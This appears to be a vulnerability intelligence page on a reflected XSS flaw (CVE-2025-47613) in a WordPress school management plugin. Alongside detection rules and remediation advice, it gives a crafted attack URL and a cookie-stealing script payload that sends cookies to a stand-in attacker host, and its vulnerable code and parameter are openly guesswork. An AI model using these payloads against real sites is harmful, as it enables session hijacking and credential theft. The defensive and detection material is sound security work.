CVE-2025-47613
Executive Summary
CVE-2025-47613 is a reflected Cross-Site Scripting (XSS) vulnerability in the School Management WordPress plugin by Mojoomla, affecting versions up to and including 92.0.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Mojoomla) and consider removing the plugin if no patch is forthcoming. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The threat level is High due to the low complexity and network-based attack vector, though user interaction is required. Successful exploitation could allow an attacker to execute arbitrary scripts in the context of the victim's browser.
Deep Dive & Mechanics
The vulnerability is a reflected XSS in the School Management plugin. The plugin fails to properly sanitize user input before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads. When a victim clicks the link, the payload executes in their browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.
The vulnerable parameter is likely a query string parameter (e.g., ?page=... or ?id=...) that is echoed back without encoding. The plugin does not use WordPress's built-in escaping functions like esc_html() or esc_attr().
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical example):
<?php
$id = $_GET['id'];
echo "You selected ID: " . $id;
?>
Patched Code (expected fix):
<?php
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
echo "You selected ID: " . esc_html($id);
?>
The patched version would use esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Install WordPress with School Management plugin version <= 92.0.0.
- Craft Payload: Create a URL with a malicious script:
http://target.com/wp-admin/admin.php?page=school-management&id=<script>alert('XSS')</script> - Deliver: Send the link to a victim via email or social engineering.
- Execute: When the victim clicks, the script runs in their browser.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Detection & Defense)
- Web Application Firewall (WAF): Block requests containing
<script>tags in query parameters. - Input Validation: Ensure all user input is validated and sanitized.
- Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.
- User Education: Train users not to click suspicious links.
Indicators of Compromise (IOCs)
- Network: HTTP requests with query parameters containing
<script>,onerror,onload, or similar XSS patterns. - Logs: Access logs showing requests to
/wp-admin/admin.php?page=school-management&id=...with encoded or raw JavaScript. - Browser: Unexpected pop-ups, redirects, or network requests to unknown domains.
Detection Engineering
YARA Rule
rule CVE_2025_47613_XSS {
meta:
description = "Detects reflected XSS attempts against School Management plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47613"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$param = "page=school-management"
condition:
any of ($xss*) and $param
}
Sigma Rule
title: Reflected XSS Attempt Against School Management Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-47613
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'page=school-management'
cs-uri-query|re: '(<script|onerror|onload|javascript:)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in query strings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-47613 Reflected XSS School Management"; flow:to_server,established; content:"page=school-management"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or remove the School Management plugin until a patch is available.
- Short-term: Implement a WAF rule to block XSS patterns in query strings.
- Long-term: Apply input validation and output encoding using WordPress functions like
esc_html(),esc_attr(), andwp_kses(). - Monitor: Watch for updates from Mojoomla and apply patches as soon as they are released.
- User Training: Educate users about phishing and suspicious links.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.